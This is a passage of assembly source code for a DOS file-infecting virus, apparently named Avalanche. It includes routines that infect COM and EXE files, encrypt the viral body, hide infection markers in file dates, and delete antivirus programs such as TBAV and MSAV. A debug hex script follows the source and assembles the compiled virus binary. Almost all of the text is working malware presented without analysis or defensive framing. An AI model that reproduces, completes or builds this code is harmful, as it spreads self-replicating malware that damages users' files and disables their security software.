jmp short fehler ; exit on error
|
||
|
||
exe9: cmp [org_filelng_lo],62000 ; .com > 62000 ? -> exit
|
||
ja fehler
|
||
|
||
call infektcom ; infect com file
|
||
|
||
;---------------------------------------------------------------
|
||
|
||
fehler: call reset_status ; reset file attributes
|
||
mov ah,3eh ; close file
|
||
pushf
|
||
call cs:[OrgDos]
|
||
|
||
exeaus: call reset_attrib
|
||
|
||
exeaus2: call encrit ; enable error handler
|
||
|
||
exeaus3: cmp cs:[internal],1 ; internal use ?
|
||
je rtocaller
|
||
call popall
|
||
|
||
jmp cs:[int21alt] ; execute program
|
||
|
||
rtocaller: mov cs:[internal],0
|
||
call popall
|
||
ret ; back to caller (virus)
|
||
|
||
exec ENDP
|
||
|
||
;---------------------------------------------------------------------------
|
||
|
||
reset_status PROC NEAR ; reset original file and date stamps
|
||
|
||
; [Flag]=1 == > increase date by 100 years
|
||
; file has to be openend
|
||
|
||
mov ax,5701h ; restore date/time
|
||
mov bx,[handle]
|
||
mov cx,[d_zeit]
|
||
mov dx,[d_datum]
|
||
cmp [flag],1 ; has infection took place ?
|
||
jne fe1
|
||
add dx,1100100000000000b ; add 100 years
|
||
fe1: pushf
|
||
call cs:[OrgDos]
|
||
ret
|
||
|
||
reset_status ENDP
|
||
|
||
;---------------------------------------------------------------------------
|
||
reset_attrib PROC NEAR ; restore original file attibutes
|
||
|
||
mov cx,[d_attrib]
|
||
mov ax,4301h
|
||
mov dx,[nam_off]
|
||
mov bx,[nam_seg] ; DS:DX pointer to filename
|
||
push bx
|
||
pop ds
|
||
pushf
|
||
call cs:[OrgDos]
|
||
ret
|
||
|
||
reset_attrib ENDP
|
||
|
||
;---------------------------------------------------------------------------
|
||
|
||
infektcom proc near ; infect com file
|
||
|
||
IF COMPERMIS
|
||
|
||
mov ax, word ptr cs:[psp+2] ; is it a device driver ?
|
||
cmp ah,0ffh
|
||
je infektende ; exit if so.
|
||
cmp al,0ffh
|
||
je infektende
|
||
|
||
;--- calc new entry ----------------------------
|
||
|
||
mov bx,[org_filelng_lo]
|
||
sub bx,3h
|
||
mov word ptr [com_vek+1],bx
|
||
|
||
;--- write new entry -------------------------
|
||
|
||
mov ax,4200h ; set file pointer to first byte
|
||
mov bx,cs:[handle]
|
||
xor dx,dx
|
||
xor cx,cx
|
||
|
||
pushf
|
||
call cs:[OrgDos]
|
||
jc infektende
|
||
|
||
mov ah,40h ; write new entry
|
||
mov cx,3 ; 3 bytes
|
||
mov dx,offset com_vek
|
||
pushf
|
||
call cs:[OrgDos]
|
||
jc infektende
|
||
|
||
mov ax,4202h ; set pointer to end of file
|
||
xor dx,dx
|
||
xor cx,cx
|
||
|
||
pushf
|
||
call cs:[OrgDos]
|
||
jc infektende
|
||
|
||
mov [ip_merk],100h ; store IP
|
||
mov [comflag],1 ; flag indicates COM file
|
||
|
||
mov ax,word ptr cs:[psp] ; store original bytes
|
||
mov word ptr [combytes],ax
|
||
mov al,byte ptr cs:[psp+2]
|
||
mov byte ptr [combytes+2],al
|
||
|
||
mov [min_mem],4096 ; minimum amount of memory for a com file
|
||
|
||
mov ax,[org_filelng_lo]
|
||
add ax,offset vircode
|
||
mov word ptr [kenn1+1],ax
|
||
|
||
call kodier
|
||
mov [flag],1 ; file was successfully infected
|
||
|
||
ENDIF
|
||
|
||
infektende: ret
|
||
|
||
infektcom endp
|
||
|
||
;----------------------------------------------------------------------------
|
||
|
||
infektexe proc near ; infect exe file (uff, very difficult)
|
||
|
||
IF EXEPERMIS
|
||
|
||
push cs
|
||
pop es
|
||
|
||
mov si,offset psp
|
||
|
||
|
||
kompr: cmp word ptr [si+segtab],1 ; is it a compressed or selfchecking
|
||
ja checkwin ; file ?
|
||
ret ; exit if so.
|
||
|
||
checkwin: cmp byte ptr [si+18h],40h ; is it a new exe header ?
|
||
jne checkovl ; forget it!
|
||
ret
|
||
|
||
checkovl: cmp byte ptr [si+ovl_no],0 ; no overlays please !
|
||
je checklng
|
||
ret
|
||
|
||
checklng: mov dx,[org_filelng_hi] ; check for internal overlays
|
||
mov ax,[org_filelng_lo]
|
||
call divide
|
||
inc ax ; add 512 bytes
|
||
|
||
cmp ax,[si+div512] ; compare only hi-byte
|
||
je go
|
||
ret
|
||
|
||
go: mov ax,word ptr [si+cs_pos] ; store CS
|
||
mov [cs_merk],ax
|
||
mov ax,word ptr [si+ss_pos] ; store SS
|
||
mov [ss_merk],ax
|
||
mov ax,word ptr [si+sp_pos] ; store SP
|
||
mov [sp_merk],ax
|
||
mov ax,word ptr [si+ip_pos] ; and IP
|
||
mov [ip_merk],ax
|
||
|
||
mov dx,[org_filelng_hi] ; filesize to DX:AX
|
||
mov ax,[org_filelng_lo] ; calc new CS and SS
|
||
|
||
mov bx,[si+hdl_pos] ; calc header size in bytes
|
||
mov cl,4
|
||
shl bx,cl
|
||
|
||
sub ax,bx ; subtract header size from filesize
|
||
sbb dx,0 ; -> DX:AX
|
||
|
||
mov bx,ax ; calc new IP
|
||
and bx,0000000000001111b ; Lo-nibble is offset of IP
|
||
mov [si+ip_pos],bx
|
||
|
||
mov cx,4 ; filesize -> pararaphs
|
||
divide0: sar dx,1
|
||
rcr ax,1
|
||
loop divide0 ; result in AX
|
||
|
||
mov [si+ss_pos],ax ; set new SS
|
||
mov [si+cs_pos],ax ; SS=CS
|
||
|
||
mov [min_mem],ax ; set up amount of memory for virus
|
||
|
||
mov word ptr [si+sp_pos],((virende-start)+100h) ; set SP
|
||
|
||
ramok: mov ax,[org_filelng_lo] ; fix filesize int header
|
||
mov dx,[org_filelng_hi]
|
||
add ax,(virende-start+512) ; add virus + 512
|
||
adc dx,0
|
||
|
||
call divide
|
||
mov word ptr [si+mod512],bx
|
||
mov word ptr [si+div512],ax
|
||
|
||
xor cx,cx ; set file pointer to header
|
||
mov dx,0
|
||
mov bx,[handle]
|
||
mov ax,4200h
|
||
int DOS_N
|
||
jc exeinfende
|
||
|
||
mov ah,40h ; write new values in header
|
||
mov cx,1ch
|
||
mov dx,offset psp
|
||
pushf
|
||
call cs:[int21alt]
|
||
jc exeinfende
|
||
|
||
mov ax,4202h ; file pointer to end of file
|
||
xor dx,dx
|
||
xor cx,cx
|
||
int DOS_N
|
||
jc exeinfende
|
||
|
||
mov [comflag],0 ; host is an exe file
|
||
|
||
mov ax,[si+ip_pos]
|
||
add ax,(offset vircode -100h)
|
||
mov word ptr [kenn1+1],ax ; set up new delta offset
|
||
|
||
call kodier ; encrypt virus and write it to host
|
||
|
||
mov [flag],1 ; infection successful
|
||
|
||
ENDIF
|
||
|
||
exeinfende: ret
|
||
|
||
infektexe endp
|
||
|
||
;---------------------------------------------------------------------------
|
||
; disable critical error handler to avoid write errors on write-protected
|
||
; disks
|
||
|
||
discrit proc near
|
||
|
||
call pushall
|
||
push cs
|
||
pop ds
|
||
|
||
mov ax,3524h ; get old INT 24h
|
||
int DOS_N ;
|
||
mov word ptr [crbreak],bx
|
||
mov word ptr [crbreak+2],es
|
||
|
||
mov ax,2524h ; set new handler
|
||
mov dx,offset cint
|
||
pushf
|
||
call cs:[OrgDos]
|
||
|
||
call popall
|
||
ret
|
||
|
||
discrit endp
|
||
|
||
;---------------------------------------------------------------------------
|
||
; enable critical error handler
|
||
|
||
encrit proc near
|
||
|
||
call pushall
|
||
|
||
mov dx,word ptr cs:[crbreak] ; restore old INT 24h
|
||
mov ax,word ptr [crbreak+2]
|
||
mov ds,ax
|
||
mov ax,2524h
|
||
int DOS_N
|
||
call popall
|
||
ret
|
||
|
||
encrit endp
|
||
|
||
;---------------------------------------------------------------------------
|
||
|
||
; INPUT DX:AX value to divide by 512
|
||
; OUTPUT AX value DIV 512
|
||
; BX value MOD 512
|
||
|
||
divide proc near
|
||
|
||
mov bx,ax
|
||
and bx,0000000111111111b ; filesize MOD 512
|
||
|
||
mov cx,9 ; 32 bit division
|
||
divide1: clc
|
||
shr dx,1
|
||
rcr ax,1
|
||
loop divide1
|
||
|
||
ret
|
||
|
||
divide endp
|
||
|
||
;*****************************************************************************
|
||
; encyrpt virus and stick it to the end of host *
|
||
;*****************************************************************************
|
||
|
||
kodier proc near
|
||
|
||
push cs
|
||
pop es
|
||
inc [generation] ; increase generation counter
|
||
cld
|
||
mov dx,offset (virende-start) ; virussize
|
||
mov si,offset start ; start of virus
|
||
mov ah,byte ptr [org_filelng_lo]
|
||
xor ah,0aah
|
||
mov byte ptr [entschl+3],ah ; decryptor value
|
||
|
||
kod0: mov ah,byte ptr [org_filelng_lo] ; key in in ah
|
||
xor ah,0aah
|
||
mov di,psp ; set pointer to unused psp
|
||
xor cx,cx ; reset byte counter
|
||
|
||
kod1: lodsb ; load a word
|
||
cmp si,offset vircode ; encyrpt it ?
|
||
jna ncode ; no, it's the virus decryptor
|
||
cmp si,offset vor_header ; do not encrypt the original header
|
||
ja ncode
|
||
xor al,ah ; encrypt word
|
||
ncode: stosb ; and write it to psp
|
||
inc cx
|
||
cmp cx,250 ; is buffer full ?
|
||
jna kod2 ; yes, then write it to disk
|
||
jmp short kodaus
|
||
kod2: cmp cx,dx ; are we ready ?
|
||
jne kod1 ; no, continue
|
||
|
||
kodaus: sub dx,cx
|
||
|
||
push dx ; write encrypted by to host
|
||
mov bx,[handle]
|
||
mov dx,psp ; ds:dx pointer to start of encry.buffer
|
||
mov ah,40h
|
||
pushf ; write cx bytes
|
||
call cs:[int21alt]
|
||
pop dx
|
||
jc kodrueck ; exit on error
|
||
or dx,dx
|
||
je kodrueck
|
||
jmp short kod0
|
||
|
||
dec [generation]
|
||
cmp [generation],32
|
||
jne kodrueck
|
||
absturz: jmp absturz
|
||
|
||
kodrueck: ret
|
||
|
||
kodier endp
|
||
|
||
;***************************************************************************
|
||
;*** check if file is infected ****
|
||
;*** INPUT : BX=Handle ****
|
||
;*** OUTPUT : C=0: file is clean / C=1: file is infected or access denied***
|
||
;***************************************************************************
|
||
|
||
pruefinf proc near
|
||
|
||
push bx
|
||
push ax
|
||
push cx
|
||
push dx
|
||
|
||
mov ax,5700h ; get time/date stamps
|
||
pushf
|
||
call cs:[int21alt]
|
||
mov cs:[d_datum],dx
|
||
mov cs:[d_zeit],cx
|
||
|
||
and dx,1111111000000000b ; mask out the month
|
||
mov cl,9 ; year to low byte
|
||
shr dx,cl
|
||
cmp dx,90 ; year <90 file id clean
|
||
jb nichtinf
|
||
|
||
stc ; set infection flag
|
||
pruefaus: pop dx
|
||
pop cx
|
||
pop ax
|
||
pop bx
|
||
ret
|
||
|
||
nichtinf: clc
|
||
jmp short pruefaus
|
||
|
||
pruefinf endp
|
||
|
||
;*************************************************************************
|
||
; retro function: delete scanners
|
||
;*************************************************************************
|
||
|
||
scanner db "F-PR",0
|
||
db "TBAV",0
|
||
db "SCAN",0
|
||
db "MSAV",0
|
||
db "CPAV",0
|
||
db "TBME",0
|
||
db "TBFI",0
|
||
db "TBSC",0
|
||
db "VIRS",0
|
||
db "TBDR",0
|
||
db 0
|
||
|
||
fuck_scanner PROC NEAR
|
||
|
||
IF RETRO
|
||
|
||
call pushall
|
||
|
||
push cs ; ES=CS
|
||
pop es
|
||
|
||
mov ax,cs:[nam_seg] ; get filename
|
||
mov ds,ax ; to DS:SI
|
||
mov si,cs:[nam_off]
|
||
|
||
fd_end: inc si
|
||
cmp byte ptr ds:[si],0 ; find last char
|
||
jne fd_end
|
||
|
||
fc2: dec si ; set pointer to filename
|
||
cmp byte ptr ds:[si-1],"\"
|
||
jne fc2
|
||
|
||
mov cx,4
|
||
mov di,offset scanner
|
||
call search ; search for scanner
|
||
jae fuckend
|
||
|
||
gotcha: mov dx,si
|
||
mov ah,41h ; delete scanner
|
||
pushf
|
||
call cs:[OrgDos]
|
||
|
||
fuckend: call popall
|
||
|
||
ENDIF
|
||
ret
|
||
|
||
fuck_scanner ENDP
|
||
|
||
;**************************************************************************
|
||
; compare a string with a list of strings
|
||
; INPUT: DS:SI string to find
|
||
; es:di list
|
||
; cx number of bytes to compare
|
||
; OUPUT: C=1 if string was found
|
||
; DX position of string
|
||
;**************************************************************************
|
||
|
||
search PROC NEAR
|
||
|
||
mov ax,cx ; store cx
|
||
xor dx,dx
|
||
cld
|
||
comp: mov cx,ax
|
||
push si ; store SI (pointer to reference)
|
||
repe cmpsb ; compare strings
|
||
pop si
|
||
jz treffer ; Z=1 -> string found
|
||
|
||
s_str: cmp byte ptr es:[di],0 ; find start of next string in list
|
||
je str_gef
|
||
inc di
|
||
jmp short s_str
|
||
str_gef: inc di
|
||
cmp byte ptr es:[di],0 ; end of list ?
|
||
je failed
|
||
inc dx
|
||
jmp short comp
|
||
treffer: stc
|
||
ret
|
||
|
||
failed: clc
|
||
ret
|
||
|
||
search ENDP
|
||
|
||
;---------------------------------------------------------------------------
|
||
|
||
pushall proc near
|
||
|
||
pop cs:[ret_off]
|
||
pushf
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push bp
|
||
push si
|
||
push di
|
||
push es
|
||
push ds
|
||
push cs:[ret_off]
|
||
ret
|
||
|
||
pushall endp
|
||
|
||
;----------------------------------------------------------------------------
|
||
|
||
popall proc near
|
||
|
||
pop cs:[ret_off]
|
||
pop ds
|
||
pop es
|
||
pop di
|
||
pop si
|
||
pop bp
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
popf
|
||
push cs:[ret_off]
|
||
ret
|
||
|
||
popall endp
|
||
|
||
vor_header equ this byte
|
||
orig_exehead db 1ch dup (?) ; position of original exe header
|
||
|
||
|
||
virende equ this byte
|
||
|
||
code ends
|
||
end start
|
||
-----------------------------------
|
||
N avalanch.com
|
||
E 0100 66 B9 F0 0A 00 00 BB 1D 02 EB 06 EA 2E 80 37 00
|
||
E 0110 43 E2 F9 E8 00 00 58 8B E8 81 ED 16 01 EB 01 81
|
||
E 0120 EB 58 20 41 56 41 4C 41 4E 43 48 45 2F 47 65 72
|
||
E 0130 6D 61 6E 79 20 27 39 34 2E 2E 2E 4D 65 74 61 6C
|
||
E 0140 20 4A 75 6E 6B 69 65 20 67 72 65 65 74 73 20 4E
|
||
E 0150 65 75 72 6F 62 61 73 68 65 72 00 00 00 00 00 00
|
||
E 0160 FE FF 00 00 00 10 00 01 00 00 C3 00 01 E9 00 00
|
||
E 0170 00 00 00 00 00 00 00 01 00 00 FA 8C 9E 5C 01 FC
|
||
E 0180 0E 1F B8 F0 4B 33 FF CD 21 81 FF 68 73 75 03 E9
|
||
E 0190 50 01 B4 30 CD 21 3C 05 73 03 E9 45 01 B4 04 CD
|
||
E 01A0 1A 72 0E 81 F9 96 19 73 08 80 FE 01 73 03 E9 31
|
||
E 01B0 01 E8 46 01 B4 0E B2 AD CD 21 3C BA 75 4A E9 21
|
||
E 01C0 01 8B 86 5C 01 8E D8 8E C0 80 BE 77 01 01 74 1F
|
||
E 01D0 8C C0 03 86 5A 01 05 10 00 89 86 68 01 8B A6 60
|
||
E 01E0 01 8C C0 2E 03 86 62 01 05 10 00 8E D0 EB 07 8C
|
||
E 01F0 C8 2E 89 86 68 01 33 C0 8B D8 8B C8 8B D0 8B F0
|
||
E 0200 8B F8 FB 2E FF AE 66 01 8B 86 5C 01 8E C0 8B 9E
|
||
E 0210 64 01 B4 4A CD 21 73 03 E9 C7 00 0E 07 C6 86 26
|
||
E 0220 04 00 C6 86 25 04 00 B8 00 58 CD 21 89 86 74 01
|
||
E 0230 B8 02 58 CD 21 73 03 E9 A8 00 88 86 76 01 B8 01
|
||
E 0240 58 BB 02 00 CD 21 B8 03 58 BB 00 00 CD 21 BB D7
|
||
E 0250 00 B4 48 CD 21 72 65 50 48 8E C0 40 26 C7 06 00
|
||
E 0260 00 5A 00 26 C7 06 01 00 08 00 B8 21 35 CD 21 89
|
||
E 0270 9E 05 04 8C 86 07 04 89 9E 0D 04 8C 86 0F 04 E8
|
||
E 0280 C3 00 3D FF 00 74 08 8C 86 0F 04 89 86 0D 04 B8
|
||
E 0290 13 35 CD 21 89 9E 09 04 8C 86 0B 04 07 06 BE 00
|
||
E 02A0 01 03 F5 BF 00 01 B9 02 0B F3 A4 BA 31 04 B8 21
|
||
E 02B0 25 1F CD 21 BA BD 07 B8 13 25 CD 21 0E 1F FF B6
|
||
E 02C0 5C 01 07 BB FF FF B4 4A CD 21 B4 4A CD 21 8A 9E
|
||
E 02D0 76 01 32 FF B8 03 58 CD 21 8B 9E 74 01 B8 01 58
|
||
E 02E0 CD 21 80 BE 77 01 01 75 0E 8B BE 66 01 BE 6A 01
|
||
E 02F0 03 F5 B9 03 00 F3 A4 E9 C7 FE 06 50 53 51 52 56
|
||
E 0300 57 B8 00 FA BA 45 59 CD 16 81 FF 59 45 75 17 B8
|
||
E 0310 02 FA BA 45 59 B3 00 CD 16 80 E1 17 8A D9 B8 02
|
||
E 0320 FA BA 45 59 CD 16 1E 33 C0 8E D8 C4 36 84 00 1F
|
||
E 0330 26 8B 04 3D EB 05 75 05 26 C7 04 90 90 5F 5E 5A
|
||
E 0340 59 5B 58 07 C3 B4 52 CD 21 72 75 26 8B 47 FE 89
|
||
E 0350 86 CF 03 33 C0 8E C0 26 C4 06 04 00 89 86 C6 03
|
||
E 0360 8C 86 C8 03 2E C6 86 CE 03 00 2E 89 AE D7 03 FA
|
||
E 0370 33 C0 8E C0 BB D1 03 03 DD 26 89 1E 04 00 26 8C
|
||
E 0380 0E 06 00 FB 9C 58 80 CC 01 50 9D B4 0B FA 9C 2E
|
||
E 0390 FF 9E 05 04 9C 58 25 FF FE 50 9D FA 1E 33 C0 8E
|
||
E 03A0 D8 2E C4 86 C6 03 A3 04 00 8C 06 06 00 1F FB 80
|
||
E 03B0 BE CE 03 01 75 0B 8B 86 CC 03 8E C0 8B 86 CA 03
|
||
E 03C0 C3 B8 FF 00 EB FA 00 00 00 00 00 00 00 00 00 00
|
||
E 03D0 00 55 8B EC 50 56 BE 00 00 8B 46 04 2E 3B 84 CF
|
||
E 03E0 03 76 04 5E 58 5D CF 2E 89 84 CC 03 8B 46 02 2E
|
||
E 03F0 89 84 CA 03 2E C6 84 CE 03 01 81 66 06 FF FE EB
|
||
E 0400 E2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0420 00 00 00 00 00 00 00 2A 2E 63 6F 6D 00 FB B0 03
|
||
E 0430 CF 80 FC 4B 75 1E 3C F0 74 11 3C 05 74 11 3C 03
|
||
E 0440 74 0D 2E C6 06 23 04 00 E9 77 03 BF 68 73 CF 2E
|
||
E 0450 FF 2E 05 04 2E 80 3E 25 04 01 74 3A 2E 80 3E 26
|
||
E 0460 04 01 74 32 80 FC 4E 75 02 EB 30 80 FC 4F 75 02
|
||
E 0470 EB 29 80 FC 11 74 5F 80 FC 12 74 5A EB 00 3D 00
|
||
E 0480 57 75 03 E9 A6 00 80 FC 42 75 03 E9 BF 00 80 FC
|
||
E 0490 3F 75 03 E9 F4 00 2E FF 2E 05 04 9C 2E FF 1E 05
|
||
E 04A0 04 72 02 EB 03 CA 02 00 E8 11 07 B4 2F CD 21 26
|
||
E 04B0 8B 47 18 25 00 FE B1 09 D3 E8 3D 5A 00 76 11 26
|
||
E 04C0 81 6F 1A 02 0B 26 83 5F 1C 00 26 81 6F 18 00 C8
|
||
E 04D0 E8 FE 06 CA 02 00 9C 2E FF 1E 05 04 E8 DD 06 3C
|
||
E 04E0 FF 75 02 EB 41 B4 2F CD 21 26 80 3F FF 74 08 BE
|
||
E 04F0 19 00 BF 1D 00 EB 06 BE 20 00 BF 24 00 26 8B 00
|
||
E 0500 25 00 FE B1 09 D3 E8 3D 5A 00 76 1A 26 81 29 02
|
||
E 0510 0B 26 83 59 02 00 26 81 69 F9 02 0B 26 83 59 FB
|
||
E 0520 00 26 81 28 00 C8 E8 A8 06 CA 02 00 9C 2E FF 1E
|
||
E 0530 05 04 9C 50 51 8B C2 25 00 FE B1 09 D3 E8 3D 5A
|
||
E 0540 00 76 04 81 EA 00 C8 59 58 9D CA 02 00 3C 02 75
|
||
E 0550 18 0B CA 75 14 E8 AA 05 73 0F B9 FF FF BA FE F4
|
||
E 0560 9C 2E FF 1E 05 04 CA 02 00 2E FF 2E 05 04 00 00
|
||
E 0570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0580 00 00 00 00 00 00 00 00 00 00 83 FB 05 73 02 EB
|
||
E 0590 40 E8 6E 05 73 3B 2E 8C 1E 80 05 0E 1F A3 82 05
|
||
E 05A0 89 1E 6E 05 89 0E 70 05 89 16 86 05 8C 06 7E 05
|
||
E 05B0 EB 44 2E 8B 0E 70 05 2E 8B 1E 6E 05 2E 8B 16 86
|
||
E 05C0 05 2E A1 7E 05 8E C0 2E A1 80 05 8E D8 2E A1 82
|
||
E 05D0 05 2E FF 2E 05 04 2E 8B 0E 70 05 2E 8B 16 86 05
|
||
E 05E0 2E 8B 1E 7E 05 8E C3 2E 8B 1E 80 05 8E DB 2E 8B
|
||
E 05F0 1E 6E 05 CA 02 00 B8 01 42 33 C9 33 D2 9C 2E FF
|
||
E 0600 1E 05 04 72 AD A3 72 05 89 16 74 05 03 06 70 05
|
||
E 0610 83 D2 00 A3 76 05 89 16 78 05 B8 02 42 33 C9 33
|
||
E 0620 D2 9C 2E FF 1E 05 04 2D 02 0B 83 DA 00 A3 7A 05
|
||
E 0630 89 16 7C 05 B8 00 42 8B 0E 74 05 8B 16 72 05 9C
|
||
E 0640 2E FF 1E 05 04 73 03 E9 68 FF A1 72 05 3D 1D 00
|
||
E 0650 72 11 8B 1E 74 05 C4 0E 7A 05 8C C2 E8 28 01 72
|
||
E 0660 20 EB 35 C4 06 76 05 8C C3 33 D2 B9 1D 00 E8 16
|
||
E 0670 01 72 2C C4 0E 7A 05 8C C2 E8 0B 01 72 5E E9 D5
|
||
E 0680 00 C4 06 76 05 8C C3 C4 0E 7A 05 8C C2 E8 F7 00
|
||
E 0690 72 03 E9 D0 00 E9 CA 00 B8 00 00 F8 E9 37 FF BA
|
||
E 06A0 1C 00 2B 16 72 05 52 F7 DA B9 FF FF B0 02 E8 F8
|
||
E 06B0 00 8B 16 86 05 8B 0E 70 05 8B 1E 6E 05 B4 3F FF
|
||
E 06C0 36 80 05 1F 9C 2E FF 1E 05 04 0E 1F 8B 0E 78 05
|
||
E 06D0 8B 16 76 05 B0 00 E8 D0 00 E9 FA FE 8B 0E 70 05
|
||
E 06E0 8B 1E 6E 05 8B 16 86 05 FF 36 80 05 1F B4 3F 9C
|
||
E 06F0 2E FF 1E 05 04 73 03 E9 DC FE 0E 1F A3 88 05 BA
|
||
E 0700 1C 00 2B 16 72 05 52 F7 DA B9 FF FF B0 02 E8 98
|
||
E 0710 00 73 03 59 EB 7E 59 FF 36 80 05 58 8B 16 86 05
|
||
E 0720 03 16 72 05 15 00 00 8E D8 2E 8B 1E 6E 05 B4 3F
|
||
E 0730 9C 2E FF 1E 05 04 73 02 EB 5A 0E 1F 8B 0E 74 05
|
||
E 0740 8B 16 72 05 03 16 88 05 83 D1 00 32 C0 E8 59 00
|
||
E 0750 A1 88 05 E9 80 FE A1 7A 05 2B 06 72 05 8B C8 E9
|
||
E 0760 7E FF E9 4D FE 8B 0E 7A 05 2B 0E 72 05 51 8B 1E
|
||
E 0770 6E 05 8B 16 86 05 B4 3F FF 36 80 05 1F 9C 2E FF
|
||
E 0780 1E 05 04 59 E9 6C FE 3B DA 77 08 72 06 3B C1 77
|
||
E 0790 02 72 00 C3 2E 8B 16 72 05 2E 8B 0E 74 05 32 C0
|
||
E 07A0 E8 06 00 33 C0 F8 E9 2D FE 50 53 52 B4 42 2E 8B
|
||
E 07B0 1E 6E 05 9C 2E FF 1E 05 04 5A 5B 58 C3 2E FF 2E
|
||
E 07C0 09 04 E8 F7 03 2E C6 06 23 04 00 2E C6 06 26 04
|
||
E 07D0 00 E8 26 FB EB 09 E8 E3 03 2E C6 06 23 04 01 2E
|
||
E 07E0 89 16 11 04 2E 8C 1E 13 04 2E C6 06 24 04 00 1E
|
||
E 07F0 52 E8 5B 02 5A 1F B8 00 43 CD 21 73 03 E9 B0 00
|
||
E 0800 2E 89 0E 1D 04 F7 C1 04 00 74 03 E9 A2 00 B8 01
|
||
E 0810 43 83 E1 FE 9C 2E FF 1E 05 04 73 03 E9 8E 00 E8
|
||
E 0820 40 03 B8 00 3D 9C 2E FF 1E 05 04 73 02 EB 7E 8B
|
||
E 0830 D8 0E 1F 89 1E 1F 04 53 B8 20 12 CD 2F 26 8A 05
|
||
E 0840 8A D8 B8 16 12 CD 2F 5B 73 02 EB 56 26 C7 45 02
|
||
E 0850 02 00 E8 AD 02 73 02 EB 49 BA 00 00 B9 1C 00 B4
|
||
E 0860 3F CD 21 72 3D 8B F2 B9 1C 00 BF E6 0B 0E 07 F3
|
||
E 0870 A4 B8 02 42 33 C9 33 D2 9C 2E FF 1E 05 04 73 02
|
||
E 0880 EB 20 A3 70 01 89 16 72 01 2E 81 3E 00 00 4D 5A
|
||
E 0890 75 05 E8 ED 00 EB 0B 81 3E 70 01 30 F2 77 03 E8
|
||
E 08A0 64 00 E8 28 00 B4 3E 9C 2E FF 1E 0D 04 E8 3E 00
|
||
E 08B0 E8 BE 01 2E 80 3E 23 04 01 74 08 E8 13 03 2E FF
|
||
E 08C0 2E 05 04 2E C6 06 23 04 00 E8 05 03 C3 B8 01 57
|
||
E 08D0 8B 1E 1F 04 8B 0E 1B 04 8B 16 19 04 80 3E 24 04
|
||
E 08E0 01 75 04 81 C2 00 C8 9C 2E FF 1E 0D 04 C3 8B 0E
|
||
E 08F0 1D 04 B8 01 43 8B 16 11 04 8B 1E 13 04 53 1F 9C
|
||
E 0900 2E FF 1E 0D 04 C3 2E A1 02 00 80 FC FF 74 72 3C
|
||
E 0910 FF 74 6E 8B 1E 70 01 83 EB 03 89 1E 6E 01 B8 00
|
||
E 0920 42 2E 8B 1E 1F 04 33 D2 33 C9 9C 2E FF 1E 0D 04
|
||
E 0930 72 4F B4 40 B9 03 00 BA 6D 01 9C 2E FF 1E 0D 04
|
||
E 0940 72 3F B8 02 42 33 D2 33 C9 9C 2E FF 1E 0D 04 72
|
||
E 0950 30 C7 06 66 01 00 01 C6 06 77 01 01 2E A1 00 00
|
||
E 0960 A3 6A 01 2E A0 02 00 A2 6C 01 C7 06 64 01 00 10
|
||
E 0970 A1 70 01 05 13 01 A3 07 01 E8 1C 01 C6 06 24 04
|
||
E 0980 01 C3 0E 07 BE 00 00 83 7C 06 01 77 01 C3 80 7C
|
||
E 0990 18 40 75 01 C3 80 7C 1A 00 74 01 C3 8B 16 72 01
|
||
E 09A0 A1 70 01 E8 E1 00 40 3B 44 04 74 01 C3 8B 44 16
|
||
E 09B0 A3 5A 01 8B 44 0E A3 62 01 8B 44 10 A3 60 01 8B
|
||
E 09C0 44 14 A3 66 01 8B 16 72 01 A1 70 01 8B 5C 08 B1
|
||
E 09D0 04 D3 E3 2B C3 83 DA 00 8B D8 83 E3 0F 89 5C 14
|
||
E 09E0 B9 04 00 D1 FA D1 D8 E2 FA 89 44 0E 89 44 16 A3
|
||
E 09F0 64 01 C7 44 10 02 0C A1 70 01 8B 16 72 01 05 02
|
||
E 0A00 0D 83 D2 00 E8 80 00 89 5C 02 89 44 04 33 C9 BA
|
||
E 0A10 00 00 8B 1E 1F 04 B8 00 42 CD 21 72 31 B4 40 B9
|
||
E 0A20 1C 00 BA 00 00 9C 2E FF 1E 05 04 72 21 B8 02 42
|
||
E 0A30 33 D2 33 C9 CD 21 72 16 C6 06 77 01 00 8B 44 14
|
||
E 0A40 05 13 00 A3 07 01 E8 4F 00 C6 06 24 04 01 C3 E8
|
||
E 0A50 6A 01 0E 1F B8 24 35 CD 21 89 1E 01 04 8C 06 03
|
||
E 0A60 04 B8 24 25 BA 2D 04 9C 2E FF 1E 0D 04 E8 61 01
|
||
E 0A70 C3 E8 48 01 2E 8B 16 01 04 A1 03 04 8E D8 B8 24
|
||
E 0A80 25 CD 21 E8 4B 01 C3 8B D8 81 E3 FF 01 B9 09 00
|
||
E 0A90 F8 D1 EA D1 D8 E2 F9 C3 0E 07 FF 06 78 01 FC BA
|
||
E 0AA0 02 0B BE 00 01 8A 26 70 01 80 F4 AA 88 26 0F 01
|
||
E 0AB0 8A 26 70 01 80 F4 AA BF 00 00 33 C9 AC 81 FE 13
|
||
E 0AC0 01 76 08 81 FE E6 0B 77 02 32 C4 AA 41 81 F9 FA
|
||
E 0AD0 00 76 02 EB 04 3B CA 75 E3 2B D1 52 8B 1E 1F 04
|
||
E 0AE0 BA 00 00 B4 40 9C 2E FF 1E 05 04 5A 72 13 0B D2
|
||
E 0AF0 74 0F EB BC FF 0E 78 01 83 3E 78 01 20 75 02 EB
|
||
E 0B00 FE C3 53 50 51 52 B8 00 57 9C 2E FF 1E 05 04 2E
|
||
E 0B10 89 16 19 04 2E 89 0E 1B 04 81 E2 00 FE B1 09 D3
|
||
E 0B20 EA 83 FA 5A 72 06 F9 5A 59 58 5B C3 F8 EB F8 46
|
||
E 0B30 2D 50 52 00 54 42 41 56 00 53 43 41 4E 00 4D 53
|
||
E 0B40 41 56 00 43 50 41 56 00 54 42 4D 45 00 54 42 46
|
||
E 0B50 49 00 54 42 53 43 00 56 49 52 53 00 54 42 44 52
|
||
E 0B60 00 00 E8 57 00 0E 07 2E A1 13 04 8E D8 2E 8B 36
|
||
E 0B70 11 04 46 80 3C 00 75 FA 4E 80 7C FF 5C 75 F9 B9
|
||
E 0B80 04 00 BF 2F 0B E8 10 00 73 0A 8B D6 B4 41 9C 2E
|
||
E 0B90 FF 1E 0D 04 E8 3A 00 C3 8B C1 33 D2 FC 8B C8 56
|
||
